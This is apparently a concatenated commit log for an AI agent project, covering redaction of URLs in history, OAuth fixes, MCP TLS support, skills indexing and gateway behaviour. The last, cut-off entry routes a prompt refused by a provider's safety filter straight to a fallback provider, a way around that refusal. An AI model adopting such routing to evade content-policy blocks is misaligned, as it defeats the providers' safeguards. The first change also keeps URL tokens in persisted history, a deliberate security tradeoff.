Summary

Web URLs pass through redact_sensitive_text unchanged. Magic-link checkout URLs, OAuth callbacks the agent is meant to follow, and pre-signed share URLs were getting ?token=*** / ?code=*** / ?signature=*** blanket-redacted by parameter NAME, which silently broke any skill that round-trips a URL through history.

Root cause

The URL/userinfo/access-log redaction pass (ported from nearai/ironclaw#2529 in b8d00c6f9) was wired into the same redact_sensitive_text that runs at the persistence boundary in agent/chat_completion_helpers.py — so the model's tool-call arguments fire with the real URL, but the persisted history holds ***. On the next turn the magic link is gone.

Reported by Joe Rinaldi Johnson: their checkout-acceleration skill uses magic links in URLs and went dark.

Changes

  • agent/redact.py: drop three call sites from redact_sensitive_text_redact_url_query_params, _redact_url_userinfo, _redact_http_request_target_query_params. Helpers stay importable for anyone who wants to opt in explicitly.
  • tests/agent/test_redact.py: replace TestUrlQueryParamRedaction + TestUrlUserinfoRedaction with TestWebUrlsNotRedacted — asserts representative URLs (OAuth callback, magic link, S3 pre-signed, websocket, userinfo, access log) pass through unchanged, plus positive cases proving the prefix and DB-connstr nets still fire.

Still redacted (unchanged)

Pattern Caught by
sk-…, ghp_…, AKIA…, gAAAA… (30+ vendor prefixes) _PREFIX_RE
eyJ… JWTs _JWT_RE
postgres://user:pw@host (DB connstrs) _DB_CONNSTR_RE
Authorization: Bearer … _AUTH_HEADER_RE
OPENAI_API_KEY=… (ENV assignments) _ENV_ASSIGN_RE
"apiKey": "…", "token": "…" (JSON fields) _JSON_FIELD_RE
Telegram bot tokens, private key blocks, Discord mentions, E.164 phones dedicated regexes
Form-urlencoded request bodies (k=v&k=v) _FORM_BODY_RE

Net: credential SHAPES are still redacted wherever they appear (including inside URLs — see test_known_prefix_inside_url_still_redacted). What's gone is parameter-NAME-based redaction that couldn't tell a magic-link ?magic=… apart from an OAuth ?code=….

Validation

Before After
https://checkout.ex.com/resume?magic=ABC123&customer=42 ?magic=***&customer=42 unchanged
https://api.example.com/oauth/cb?code=abc&state=ok ?code=***&state=ok unchanged

Magic-link checkout URLs, OAuth callbacks the agent is meant to follow,

`?signature=***` blanket-redacted by parameter NAME, which breaks any

* fix(kanban): harden sqlite connection concurrency

* fix(kanban): add Windows init lock guard

* chore(release): map MoonRay305 contributor email for #32759 salvage

Adds `squiddy@2rook.ai → MoonRay305` to AUTHOR_MAP so contributor_audit.py
passes for the salvaged commits in #33482-followup PR.

* fix(website): pin serialize-javascript and uuid via npm overrides

Resolves the two Dependabot alerts currently open against the website
lockfile:

- serialize-javascript: pin to ^7.0.5 (was 6.0.2 — high-severity RCE
  via RegExp.flags + Date.prototype.to*, plus medium-severity DoS)
- uuid: pin to ^14.0.0 (was 8.3.2 — medium buffer bounds check miss
  in v3/v5/v6 when buf is provided)

Lockfile regenerated against current main (not the stale lockfile
from the original PR — several Dependabot bumps for mermaid,
webpack-dev-server, @babel/plugin-transform-modules-systemjs,
fast-uri, lodash-es+langium, lodash, follow-redirects, and dompurify
have landed since #30036 was opened, so the website portion was
re-applied surgically on top of those).

Salvaged the website half of PR #30036. The TUI test half landed
on main separately, so this PR is web-only.

* fix(security): require API_SERVER_KEY before dispatching API server work

* feat(mcp): support TLS client certificates (mTLS) for HTTP and SSE servers (#33721)

Adds first-class `client_cert` / `client_key` config keys so MCP servers
behind mTLS work without an external TLS-terminating proxy. Resolves
inbound community question (Jeremy W.).

Schema (per `mcp_servers.<name>`, HTTP/SSE only):

- `client_cert: "/path/to/combined.pem"` — single PEM with cert + key
- `client_cert: "/path/to/cert"` + `client_key: "/path/to/key"` — separate
- `client_cert: [cert, key]` or `[cert, key, password]` — list form,
  with optional passphrase for encrypted keys

Paths support `~` expansion. Missing files raise a server-scoped
`FileNotFoundError` at connect time rather than failing later with an
opaque TLS handshake error.

Wiring:

- New SDK HTTP path (mcp >= 1.24): `cert=` on the user-owned
  `httpx.AsyncClient` alongside the existing `verify=` handling.
- SSE path: routed through an `httpx_client_factory` that wraps the
  SDK's defaults (follow_redirects=True) and layers `verify` + `cert`
  on top. The factory is only injected when needed, so the SDK's
  built-in `create_mcp_http_client` keeps being used in the default
  case.
- Deprecated mcp<1.24 path left untouched — that SDK's
  `streamablehttp_client` signature doesn't expose `cert`, and adding
  it would be dead code.

Also documents the previously-undocumented `ssl_verify` key (bool or
CA bundle path) in the MCP config reference.

Tests:

- `tests/tools/test_mcp_client_cert.py` (new, 19 tests):
  - `_resolve_client_cert` helper: all three input forms, `~` expansion,
    missing-file and validation errors.
  - HTTP transport: `cert=` forwarded into `httpx.AsyncClient` for
    string and tuple forms; absent when unset; missing-file error
    propagates.
  - SSE transport: factory only injected when cert or non-default
    verify is set; factory applies cert, custom CA bundle, and
    preserves `follow_redirects=True` + forwarded headers/auth.
- Existing tests: 200/200 in `test_mcp_tool.py` + `test_mcp_sse_transport.py`
  still pass.

* docs: drop stale Kimi/DeepSeek vision example (#33736)

Kimi K2.6 is natively multimodal — flagged by Shengyuan from the Kimi
growth team. Replace the named-vendor example with a model-agnostic
phrasing so the row doesn't go stale as more vendors ship vision.

* fix(security): require source CIDR allowlisting for public msgraph webhook binds

* fix(auth): sync manual:device_code Codex pool entries on re-auth (#33744)

#33164 made _save_codex_tokens sync the singleton-seeded `device_code`
pool entry on Codex OAuth re-auth. That fixed the #33000 path but missed
`manual:device_code` entries created by `hermes auth add openai-codex`
(the recommended workaround for users who hit #33000 before #33164
landed).

Every subsequent re-auth would refresh the device_code entry but leave
the manual:device_code entry holding the consumed refresh token plus
stale last_error_* markers — immediately recreating the 401
token_invalidated symptom on the next request, exactly as reported in
#33538.

Extend the refreshable source set to include `manual:device_code`.
Completing the device-code OAuth flow proves the user owns the ChatGPT
account, so it is safe to refresh every device-code-backed entry. Keep
`manual:api_key` and other non-device-code manual sources untouched —
those represent independent credentials.

Closes #33538.

* fix(skills): pull full ClawHub catalog into the skills index (200 → 20k+) (#33748)

* fix(skills): pull full ClawHub catalog into the skills index

The website was showing 200 ClawHub skills out of 20k+ because
`ClawHubSource.search("")` for empty queries went straight to a single
unpaginated request. ClawHub's API caps any single page at 200 items and
returns a `nextCursor`; we grabbed page 1 and stopped, so the cached
index served from hermes-agent.nousresearch.com had a silent 99%
truncation.

End users never hit clawhub.ai directly (the index is rebuilt twice
daily by .github/workflows/skills-index.yml and served as a static JSON
on the docs site), so the cap-and-cache architecture is correct — it
just wasn't being filled.

Changes:
- `ClawHubSource.search(query="")` now routes through the existing
  `_load_catalog_index()` paginating walker instead of the unpaginated
  listing fallback (non-empty queries still hit the fast catalog search).
- `_load_catalog_index()` max_pages 50 → 250 (50k-skill ceiling; live
  catalog is ~20k as of May 2026, with headroom for growth).
- `build_skills_index.py`: per-source crawl limits split out — ClawHub
  and LobeHub get 100k, others keep their effective caps.
- `EXPECTED_FLOORS["clawhub"]` 50 → 5000 so the next pagination
  regression hard-fails the CI build instead of silently shipping a
  degenerate index.

Test plan:
- New unit test `test_search_empty_query_paginates_full_catalog`
  exercises the cursor-following path with three mocked pages (450
  total items) and asserts all pages are walked.
- Existing 9 ClawHub tests + 127 broader skills_hub tests all pass.
- E2E against live ClawHub API: walker reached 9700+ skills across 49
  pages before this commit landed, paginating well past the previous
  50-page cap.

* fix(skills): raise ClawHub ceilings — live catalog is 50k, not 20k

E2E walk against live ClawHub API hit my initial 250-page cap at 49,698
skills with cursor=yes still pending. The catalog is roughly 2.5x larger
than the docstring estimate.

- max_pages 250 → 750 (150k ceiling, walks terminate on cursor=None
  well before this in practice)
- SOURCE_LIMITS['clawhub'] 100k → 200k
- EXPECTED_FLOORS['clawhub'] 5000 → 20000

* feat(context-engine): host contract for external context engines

Condenses the substance of PRs #16453, #17453, #16451, #17600, and #13373
into a minimal generic host contract that external context engine plugins
(e.g. hermes-lcm) need to integrate cleanly. Drops scaffolding that
duplicated existing infrastructure or had marginal value.

Five concrete changes:

1. `_transition_context_engine_session()` on AIAgent — generic lifecycle
   helper that fires on_session_end → on_session_reset → on_session_start
   → optional carry_over_new_session_context. Engines implement only the
   hooks they need; missing hooks are skipped. Built-in compressor keeps
   its existing reset-only behavior because callers default to no
   metadata. `reset_session_state()` now optionally accepts
   previous_messages / old_session_id / carry_over_context and delegates
   to the transition helper when provided. (#16453)

2. `conversation_id` passed to `on_session_start()` — both the
   agent-init call site and the compression-boundary call site now
   forward `self._gateway_session_key` so plugin engines have a stable
   conversation identity that survives session_id rotation (compression
   splits, /new, resume). The key already existed on AIAgent; it just
   wasn't reaching engines. (#16453)

3. Canonical cache buckets forwarded to engines — the usage dict passed
   to `update_from_response()` now includes input_tokens, output_tokens,
   cache_read_tokens, cache_write_tokens, and reasoning_tokens on top of
   the legacy prompt/completion/total keys. Engines can make decisions on
   cache-hit ratios and reasoning costs instead of only aggregates. ABC
   docstring updated. (#17453)

4. Plugin-registered context engines visible in the picker —
   `_discover_context_engines()` in plugins_cmd.py now also includes
   engines registered via `ctx.register_context_engine()` from plugin
   manifests, deduplicating by name so repo-shipped descriptions win on
   collision. (#16451)

5. `_EngineCollector.register_command()` — context engines using the
   standard `register(ctx)` pattern can now expose slash commands (e.g.
   `/lcm`). Routes to the global plugin command registry with the same
   conflict-rejection policy regular plugins use (no shadowing built-ins,
   no clobbering other plugins). Previously these calls hit a no-op and
   the slash commands silently never appeared. (#17600)

Dropped from the original 5 PRs:

- Compression boundary signal (`boundary_reason="compression"`) from
  #16453 — already on main at `agent/conversation_compression.py:412-424`,
  landed via the bg-review extraction.

- `discover_plugins()` before fallback in run_agent.py from #16451 —
  redundant: `get_plugin_context_engine()` already routes through
  `_ensure_plugins_discovered()` which is idempotent.

- Runtime identity diagnostics method + helpers from #13373 (+251 LOC) —
  operators can already read engine state via `engine.get_status()`;
  the diagnostics view added marginal value relative to its surface area.

- The 553-LOC slash-command machinery from #17600 — replaced with a
  20-LOC `register_command` method on the collector that reuses the
  existing plugin command registry instead of building a parallel one.

Net: ~215 LOC of host-contract changes + 282 LOC of focused tests, vs
~1,176 LOC across the original 5 PRs.

* fix(nix): drop stale "vercel" group from #full variant

The `vercel` optional-dependency was removed from pyproject.toml in
#33067, but `nix/packages.nix` (added a few hours later in #33108)
still references `"vercel"` in the `#full` variant's
`extraDependencyGroups`. uv2nix fails evaluation with:

  error: Extra/group name 'vercel' does not match either extra or
  dependency group

Because `nix/devShell.nix` does
`inputsFrom = builtins.attrValues self'.packages`, the broken `#full`
derivation is pulled into the dev shell too, so `nix develop` /
direnv breaks on a fresh clone — not just `nix build .#full`.

* fix(kanban): wrap columns into rows and fix vertical overflow

Two CSS issues in the kanban dashboard:

1. Columns overflow horizontally with no way to reach them — the
   original scrollbar-width: none hid the scrollbar entirely, and
   even with a scrollbar, a wrapping layout is better UX for a board
   with 8+ columns. Changed to flex-wrap: wrap and removed the
   overflow-x: auto + hidden scrollbar rules. Columns now flow into
   multiple rows (~3 per row on a typical viewport) instead of
   running off-screen.

2. .hermes-kanban-column-body lacked flex: 1 and min-height: 0,
   so the flex child's implicit min-height: auto prevented it from
   shrinking below its content size. Columns with many cards pushed
   past the parent max-height instead of scrolling internally.

Verified: 9 columns wrap into 3 rows, all visible without
horizontal scroll. Done column (53 tasks) scrolls vertically
within its column bounds.

* fix(kanban): show horizontal scrollbar instead of wrapping columns

Salvage follow-up on top of @vynxevainglory-ai's PR #29233. Keep the
column-body flex:1 + min-height:0 fix (tall columns scroll internally
now), but drop the flex-wrap: wrap part — instead just stop hiding
the existing horizontal scrollbar.

PR #523254b34 (sadiksaifi, May 18) deliberately moved the kanban board
from a wrapping grid to a single-row pinned-width flex so the board
stays as one stable horizontal row. The mistake in that PR was the
scrollbar-width: none + ::-webkit-scrollbar { display: none } pair,
which hid the affordance so columns past the viewport became visually
inaccessible. Fixing that hidden-scrollbar bug while keeping the
single-row design honors both contributors' intent.

* fix(xai-proxy): handle 429 rate-limit responses in proxy retry path

get_retry_credential only triggered on 401; a 429 Too Many Requests from
xAI was silently streamed back with no key rotation or back-off signal.

- server.py: widen retry gate from == 401 to in {401, 429}
- xai.py: on 429, skip token refresh and call mark_exhausted_and_rotate
  to stamp the 1-hour cooldown on the rate-limited key and return the
  next available credential. Returns None if pool is exhausted.

* test(xai-proxy): regression coverage for #28932 429 handling

Three new tests in tests/hermes_cli/test_proxy.py:

- xai_adapter_retry_rotates_pool_entry_on_429 — headline #28932 case.
  Two-entry pool, 429 on first entry, must rotate to second entry
  AND must NOT call refresh_xai_oauth_pure (refresh is irrelevant
  for rate limits).
- xai_adapter_retry_returns_none_on_429_when_pool_exhausted —
  single-entry pool: 429 returns None so the rate-limit response
  flows back to the client unchanged (existing behavior preserved).
- xai_adapter_retry_returns_none_for_unrelated_status — non-{401,
  429} statuses must not trigger any retry path at all; guards
  against the gate becoming too broad in future changes.

Each test asserts that refresh_xai_oauth_pure is never called on the
429 path — refresh is a 401-specific concern.

* fix(tirith): reject non-regular tar members during auto-install process

* fix(stream-consumer): only set _final_content_delivered when final response confirmed delivered

In GatewayStreamConsumer._run(), _final_content_delivered was set to True
based on the success of a mid-stream finalize edit, before the final
finalize edit was attempted. When the final edit later failed (Telegram
flood control, retry-after), _final_response_sent stayed False but
_final_content_delivered was already True, so gateway/run.py suppressed
its normal final send and the user saw a partial / fallback message
instead of the real answer.

Changes in gateway/stream_consumer.py:
- Remove the premature _final_content_delivered = True at the top of
  the got_done block.
- Set _final_content_delivered = True only when the actual final send /
  edit succeeds, in each finalize branch (no-finalize adapter,
  _message_id finalize, no-_already_sent send).
- _send_fallback_final: don't set _final_response_sent = True when only
  some chunks were delivered; the gateway should still attempt a
  complete final send. Set _final_content_delivered = True alongside
  _final_response_sent on the success path and short-text path.
- Cancellation handler: set _final_content_delivered = True alongside
  _final_response_sent when the best-effort final edit succeeds.

Adds TestFinalContentDeliveredGuard with 3 regression tests covering
the core bug scenario, the happy path, and partial fallback.

* fix(agent): re-pad reasoning_content on cross-provider fallback to require-side providers

api_messages is built once before the retry loop while the primary provider
is active. When a mid-conversation fallback switches to a require-side thinking
provider (DeepSeek/Kimi/MiMo), assistant turns built under a non-require primary
(e.g. Codex) go out without reasoning_content and the new provider rejects the
request with HTTP 400 ("reasoning_content must be passed back").

Re-apply the echo-back pad against the current provider immediately before
building the request kwargs. Idempotent and a no-op unless the active provider
enforces echo-back, so it covers all fallback paths without affecting normal or
reject-side operation.

* fix(gateway): drain on Windows `hermes gateway stop` so sessions survive restart (#33798)

Sessions now survive `hermes gateway stop` / `restart` on native Windows.
Previously the gateway died on schtasks `/End` + os.kill SIGTERM without
ever running the drain loop, so the v0.13.0 session-resume feature (#21192)
silently broke on Windows: `resume_pending=True` was never written, and
the next boot started with a blank conversation history (issue #33778).

Root cause is twofold and the reporter only identified half of it:

1. `hermes_cli/gateway_windows.py::stop()` did not write the
   `planned_stop_marker` before signalling. The reporter caught this.

2. The bigger reason: `asyncio.add_signal_handler` raises
   NotImplementedError for SIGTERM/SIGINT on Windows, so even if the
   marker had been written, the gateway's existing SIGTERM handler
   (which is what calls `runner.stop()` and the `mark_resume_pending`
   loop) was never invoked. Writing the marker would have been
   necessary-but-insufficient.

The fix has two parts:

* gateway/run.py: new `_run_planned_stop_watcher` daemon thread polls
  for the planned-stop marker file every 0.5s. When the marker appears
  it `loop.call_soon_threadsafe(shutdown_signal_handler, None)` — the
  same shutdown path a real SIGTERM would have driven, including the
  pre-drain `mark_resume_pending` writes (run.py:5977) and graceful
  drain wait. The existing signal handler already accepts
  `received_signal=None` and falls through to
  `consume_planned_stop_marker_for_self()`, so no handler changes
  needed. Runs on every platform as cheap belt-and-suspenders.

* hermes_cli/gateway_windows.py: `stop()` now writes the marker for
  the running gateway PID and waits up to `agent.restart_drain_timeout`
  (default 30s) for the PID to exit cleanly. On clean drain, the kill
  sweep is non-forceful; on timeout, escalates to
  `kill_gateway_processes(force=True)` which routes to taskkill /T /F
  per `references/windows-native-support.md`.

Validation:

* 7 new tests in tests/gateway/test_planned_stop_watcher.py covering:
  marker→handler dispatch, no-marker idle, already-draining skip,
  not-yet-running skip, stop_event responsiveness, fire-once
  semantics, error tolerance.
* 8 new tests in tests/hermes_cli/test_gateway_windows.py covering:
  marker-before-kill ordering, clean-drain skips force-kill,
  drain-timeout escalates to force=True, no-pid-skips-drain,
  invalid-pid handling, fast-exit success, timeout failure,
  marker-write-failure tolerance.
* E2E (Linux, detached orphan): write_planned_stop_marker(pid) +
  `_drain_gateway_pid(pid, 5.0)` returns True in 0.5s after the
  victim sees the marker and exits. Tested with a double-forked
  subprocess so the test parent isn't holding it as a zombie.
* Targeted: tests/gateway/{restart_drain,restart_resume_pending,
  signal,signal_format,status,shutdown_forensics,approve_deny_commands,
  planned_stop_watcher} + tests/hermes_cli/{gateway_windows,
  gateway_service} → 519/519.

What was wrong with the reporter's claim (for future archaeology): they
described the symptom as "no `resume_pending=True` written to
`sessions.json`" — but Hermes uses `state.db` (SQLite), not
`sessions.json`, and `mark_resume_pending` is called regardless of
the marker (the marker only affects exit code 0 vs 1 for systemd
revival semantics). The real session-loss path is the missing drain
on Windows, not a missing marker. Both halves are fixed here.

Closes #33778.

* fix(tools): unescape common sequences in new_string when escape_normalized matches

When the patch tool matches via the escape_normalized strategy, old_string
contains literal \t, \n, \r sequences that get unescaped to match real
control characters in the file. However, new_string was written as-is,
leaving literal backslash sequences in the output.

Add _unescape_common_sequences() helper and apply it to new_string when
the matching strategy is escape_normalized. This ensures LLM-generated
tab/newline sequences become real bytes in the patched file.

Fixes #33733

* fix(patch): widen new_string \t/\r unescape to all match strategies (#33733)

Extends @liuhao1024's escape-normalized fix so the patch tool also
recovers when old_string carries a real tab byte and matches via the
`exact` strategy — which is the headline reproduction in the issue and
the most common case in practice (LLMs frequently get old_string right
because they re-read the file, but still serialize new_string's tabs as
two-character `\t`).

Instead of gating on the match strategy, decide per-sequence by looking
at the *matched region of the file*: only convert `\t` -> tab and
`\r` -> CR when the file region we're replacing actually contains the
corresponding control byte. That mirrors the region-based heuristic in
`_detect_escape_drift` and keeps legitimate writes of the literal
two-character string `"\t"` (e.g. patching `sep = "\t"` in Python
source) untouched — those files have a backslash+t in the matched
region, not a real tab, so new_string passes through verbatim. `\n` is
still excluded because newlines serialize correctly through JSON and
unescaping would corrupt source escape sequences far more often than
help.

E2E verified against the live `patch` tool: tab-indented file + literal
`\t` in new_string under both `exact` (Variant 1) and `escape_normalized`
(Variant 2) strategies now produces real tab bytes; a Python source line
containing `sep = "\t"` (legitimate literal backslash-t) survives a
patch unchanged.

Tests updated to cover both strategies and the legitimate-literal case,
and to assert that `\n` is intentionally preserved.

* fix(update): stream + idle-kill `npm run build` so a stalled webui-build can't soft-brick the install (#33803)

`hermes update` ran the webui build with `capture_output=True` and no timeout. On low-memory hosts (WSL2's 4 GB default, small VPSes, antivirus stalls) Vite goes silent for minutes; users see a frozen terminal, decide the update is hung, and reboot. The reboot lands *after* `pip install -e .` has already touched the install but *before* the build completes, leaving the `hermes` launcher in place while `hermes_cli` is no longer importable — i.e. `ModuleNotFoundError: No module named 'hermes_cli'` (#33788, same class as #32384).

Changes:

- New `_run_with_idle_timeout()` helper: streams subprocess output line-by-line (so the user sees Vite progress in real time) and kills the process if no bytes appear on stdout/stderr for 180s. The existing stale-dist fallback (#23817) then serves the previous build instead of failing the update.
- `_build_web_ui()` uses the helper for `npm run build` (the actual stall site). `npm install` keeps `subprocess.run` + capture_output to preserve the existing EPERM-retry-on-Windows contract.
- Both `cmd_update` call sites print `→ Core update complete. Building dashboard (optional)...` before the webui build. The CLI is fully functional at this point; a webui-build failure only affects `hermes dashboard`. Telegraphing the boundary explicitly stops users from rebooting through the build step.

Tests:

- `tests/hermes_cli/test_run_with_idle_timeout.py` — 4 tests covering streaming success, nonzero exit, idle-kill, and missing-binary cases. Uses real `subprocess.Popen` on tiny Python scripts; isolated in its own file so per-file canonical-runner parallelism doesn't pair it with the mock-heavy tests.
- `tests/hermes_cli/test_web_ui_build.py` — updated existing tests to patch `_run_with_idle_timeout` for the build step in addition to `subprocess.run` for the install step.
- `tests/hermes_cli/test_cmd_update.py::test_update_refreshes_repo_and_tui_node_dependencies` — same update.

Full suite: `scripts/run_tests.sh tests/hermes_cli/` → 5646 passed, 0 failed.

Fixes #33788.

* fix(kanban): content-addressed corrupt-DB backup filename

Repeated quarantines of an unchanged corrupt kanban.db used to amplify
disk usage by N: the gateway dispatcher's 5-minute retry loop, multi-
profile fleets sharing one DB, and manual reopen attempts each produced
a fresh '.corrupt.<timestamp>.bak' copy of the same bytes. After 10
retries on a 100KB DB you had 11x the disk footprint of duplicate
corrupt data.

Derive the backup filename from a sha256 of the main DB instead of a
timestamp + collision counter. Same bytes → same filename → skip the
copy on retries. Different bytes (partial repair, further damage) →
different filename → preserve separately. Sidecar (-wal/-shm) backups
inherit the same content-addressed name.

Inspired by @hanzckernel's PR #33529, simplified down to ~30 LOC: drop
the persistent JSON marker file, drop the atomic temp+fsync+rename
helper (shutil.copy2 is fine for a quarantine-only path), drop the
gateway-side WAL/SHM fingerprint extension (the existing
(path, mtime, size) tuple still gives the 5-minute retry semantics it
needs), and drop the gateway-side helper extraction. The backup file
existing IS the marker; no separate state needed.

Test: tests/hermes_cli/test_kanban_db.py::test_repeated_corrupt_open_reuses_single_backup
proves 10 retries on the same corrupt bytes produce 1 backup (was 11),
and mutating the corrupt bytes produces a second backup with a
different fingerprint.

* perf(skills-page): lazy-fetch the catalog instead of bundling 34MB into JS (#33809)

PR #33748 grew the live skills index from ~2k skills to ~69k, which made
the previous build-time bundling strategy untenable: the skills page's
JS chunk was about to balloon from ~1MB to ~35MB.  Initial page load
on mobile became unusable, search lagged on every keystroke against the
68k-item array, and JSON.parse blocked the main thread at startup.

Three changes:

1. extract-skills.py writes skills.json + skills-meta.json into
   website/static/api/ instead of website/src/data/.  Static-served by
   Vercel as /docs/api/skills.json (gzipped on the wire), same CDN that
   already serves skills-index.json.

2. skills/index.tsx drops the static import and fetches both files in
   parallel on mount.  Loading state shows '…' for the count; failures
   surface a small error pill instead of blanking the page.

3. Search is debounced 150ms and runs against a precomputed lowercase
   haystack stamped onto each row at load time.  Before: array-join +
   toLowerCase per row per keystroke on a 68k array.  After: single
   .includes() per row, deferred until typing settles.

Validation:

| | before | after |
|---|---|---|
| skills.json location | src/data/ (bundled) | static/api/ (CDN) |
| Largest JS chunk | would be ~35MB at 68k skills | 659 KB |
| Initial page render | wait for full parse | immediate, fetch async |
| Per-keystroke filter | join+lowercase x 68k rows | single includes x 68k rows |
| Debounce | none | 150ms |

Built locally for both en and zh-Hans locales; the 34MB skills.json now
lives in build/api/ and is served separately rather than inlined into
the page's bundle.

skills.json and skills-meta.json added to .gitignore — they were already
build artifacts, but the gitignore only listed skills-index.json before.

* fix(gateway): backfill Discord thread context

Discord threads where the bot has already participated bypass mention gating by default, but the backfill check was still tied to the mention-needed condition. That meant follow-up thread messages could trigger a response without providing recent thread history to the session.

Run history backfill for thread messages whenever backfill is enabled, while keeping DMs skipped and channel mention backfill behavior unchanged. Add a regression test for a known thread follow-up without an explicit mention.

Fixes #33666

* refactor(discord): inline backfill gate and document intent

Drop the _needed_mention local variable now that it has only one use,
inline its expression as _has_mention_gap, and add a comment explaining
the three backfill cases (mention-gated channel, thread, DM skip).

Behaviorally identical to the prior commit; cleanup only.

* fix(discord): skip backfill for auto-created threads and update test fakes

When auto-threading kicked in, the broadened backfill gate ran on the
freshly-created thread — but the thread has no prior context to fetch,
and the parent-channel reference passed to _fetch_channel_context would
have leaked unrelated context (see #31467).

Skip backfill when auto_threaded_channel is set.  Also teach the
_FakeTextChannel / _FakeThreadChannel test doubles to expose a no-op
history() async generator so the broadened gate doesn't trip
AttributeError → discord.Forbidden (MagicMock) → TypeError in the
existing auto-thread tests.  Add a regression test that asserts
auto-threaded messages do not trigger backfill.

* chore(web): remove web_crawl tool + provider crawl plumbing (#33824)

The web_crawl_tool() function was an orphan — no model schema registered
it, no skill or CLI command called it, and the agent had no way to invoke
it. PR #32608 proposed wiring it up as a model-callable tool; we've
decided not to expose crawl as a separate capability since web_search +
web_extract cover the use cases we want models to have.

Removed:
- tools/web_tools.py: web_crawl_tool() (~230 LOC)
- plugins/web/firecrawl/provider.py: supports_crawl() + crawl()
- plugins/web/tavily/provider.py: supports_crawl() + crawl()
- plugins/web/xai/provider.py: supports_crawl() override
- agent/web_search_provider.py: supports_crawl() + crawl() ABC methods
- agent/web_search_registry.py: get_active_crawl_provider() +
  the 'crawl' branch in _resolve()
- agent/display.py: web_crawl tool-progress rendering
- hermes_cli/config.py: 'web_crawl' from TAVILY_API_KEY.tools
- tools/website_policy.py: stale comment reference
- Tests: removed TestWebCrawlTavily class, the two website-policy
  web_crawl tests, the searxng/ddgs/brave-free crawl-error tests,
  the integration test_web_crawl method, and the
  test_unconfigured_crawl_emits_top_level_error test. Trimmed the
  capability-flag parametrize list and the WebSearchProvider ABC
  conformance tests.
- Docs: trimmed the Crawl column from capability tables in both EN
  and zh-Hans, updated the developer-guide ABC table.

Net: 25 files, +115/-1067.

Closes #33762 (the schema-text bug only existed if #32608 landed).
Supersedes #32608.

* fix(skills-hub): stop ellipsis-truncating the Identifier column (#33810)

`hermes skills search` rendered the Identifier column with the default
overflow behaviour, so long slugs (notably browse-sh — every browse-sh
skill ends in a `-XXXXXX` hash that's part of the identifier) were cut
to `browse-sh/weathe…`. Users copied the visible string into
`hermes skills install` and got a not-found error because the hash was
gone.

Set overflow="fold" on the Identifier column in both search tables
(`do_search` and the `_resolve_short_name` multi-match table) so long
slugs wrap onto a second line instead of getting eaten. Also add a
`--json` flag to `hermes skills search` (and the `/skills search`
slash variant) for scripting — emits a list of {name, identifier,
source, trust_level, description} objects with the full identifier,
which is the right shape for copy-paste pipelines too.

Closes #33674.

* feat(agent): buffer retry/fallback status, surface only on terminal failure (#33816)

Users report that the CLI/gateway floods them with confusing retry chatter
during transient failures: a single 429 can produce 10+ "Provider/Endpoint/
Retrying in 5s..." lines before the request eventually succeeds. The same
firehose hits Telegram, Discord, Slack, etc. via _emit_status.

This patch defers all retry/fallback/compression status messages until we
know the outcome:
  - if the turn ultimately succeeds (any path: primary recovers, fallback
    activates, compression unsticks the request), the buffer is silently
    dropped — the user sees nothing.
  - if every retry and fallback exhausts and the turn fails, the buffer
    is flushed at the terminal-failure return so the user sees the full
    retry trace alongside the final error.

Backend logging (agent.log) is unchanged — every emission site still
writes to logger.warning/info, so post-mortem diagnosis is intact.

## What changed

run_agent.py: four new methods on AIAgent:
  _buffer_status(msg)   — defer an _emit_status call
  _buffer_vprint(msg)   — defer a _vprint(force=True) line
  _clear_status_buffer() — drop pending messages on success
  _flush_status_buffer() — replay pending messages on terminal failure

agent/conversation_loop.py:
  - converted ~30 mid-process emit/vprint sites in the retry, fallback,
    compression, empty-response, and stream-watchdog paths to the buffered
    helpers
  - added _flush_status_buffer() at every terminal-failure return so users
    still see the trace when it actually matters
  - added _clear_status_buffer() at the "non-empty assistant content"
    point (NOT at "API call returned bytes" — empty responses still loop
    through the empty-retry path and would otherwise lose their trace
    between iterations)
  - silenced the two "(´;ω;`) oops, retrying..." / "(╥_╥) error,
    retrying..." spinner final-frame messages — the spinner now stops
    cleanly so retries leave no visible residue

agent/chat_completion_helpers.py: same conversion for codex TTFB / stale-
stream / fallback-activation status messages.

agent/stream_diag.py: _emit_stream_drop now buffers instead of emitting
directly.

## Tests

tests/run_agent/test_retry_status_buffer.py: 7 unit tests covering
accumulate→flush, clear-on-success, mixed kinds, empty-buffer no-op,
re-buffer after flush, exception swallowing.

Updated 3 existing tests that mocked _emit_status to also mock (or use)
_buffer_status:
  - tests/run_agent/test_run_agent.py::test_empty_response_emits_status_for_gateway
  - tests/run_agent/test_stream_drop_logging.py (2 tests)
  - tests/agent/test_codex_ttfb_watchdog.py (TTFB hint test)

## Validation

Live test: hermes chat -q against an unreachable endpoint with no fallback
exhausts retries and prints the full trace at the end. Same flow against
a working endpoint prints zero retry chatter.

* docs(email): clarify gateway vs Himalaya setup

* fix(xai-oauth): accept bare-code manual paste (state=None) (#26923) (#33880)

xAI's consent page renders the authorization code in-page rather than
redirecting through the 127.0.0.1 callback, so on remote/headless setups
(GCP Cloud Shell, Codespaces, container consoles, headless VPS) the only
value the user can paste is the opaque code with no `code=`/`state=`
query parameters. `_parse_pasted_callback` correctly returns
`state=None` for that input, but `_xai_oauth_loopback_login` then
validated state unconditionally and raised `xai_state_mismatch`,
making the documented bare-code paste path unreachable.

PKCE (code_verifier) still binds the token exchange to this client,
so the local state-equality check is redundant when there is no state
to compare. On the manual-paste path only, substitute the locally
generated state when the callback returned none — the rest of the
validation chain (code presence, error field, token exchange) is
unchanged. The loopback HTTP-server path still requires a matching
state (a real browser redirect always carries one).

Also: clarify the manual-paste prompt to mention xAI's in-page code
rendering so users know pasting the bare code on its own is expected.

Root-cause analysis from #26923 comment by @AccursedGalaxy (2026-05-20).

Tests
-----
* test_xai_loopback_login_manual_paste_bare_code_succeeds — positive
  end-to-end through the token exchange with state=None.
* test_xai_loopback_login_loopback_path_rejects_missing_state — the
  HTTP-server path still rejects state=None as a regression guard
  (the bare-code relaxation must NOT widen the loopback path).
* Existing test_xai_loopback_login_manual_paste_state_mismatch_raises
  continues to verify wrong (non-None) state is rejected on manual-paste.

Closes #26923.

* fix(agent): fallback immediately on provider content-policy blocks (#33883)

* fix(agent): fallback immediately on provider content-policy blocks

Provider safety-filter refusals (e.g. OpenAI Codex 'flagged for possible
cybersecurity risk', OpenAI moderation 'violates our usage policies',
Anthropic safety-system rejections, Azure content_filter) are
deterministic decisions about a specific prompt. Retrying the same
prompt up to api_max_retries times just reproduces the same refusal and
burns paid attempts before surfacing the generic 'API failed after 3
retries — <provider message>' to Telegram / cron with no indication that
the failure came from the model provider rather than Hermes itself.

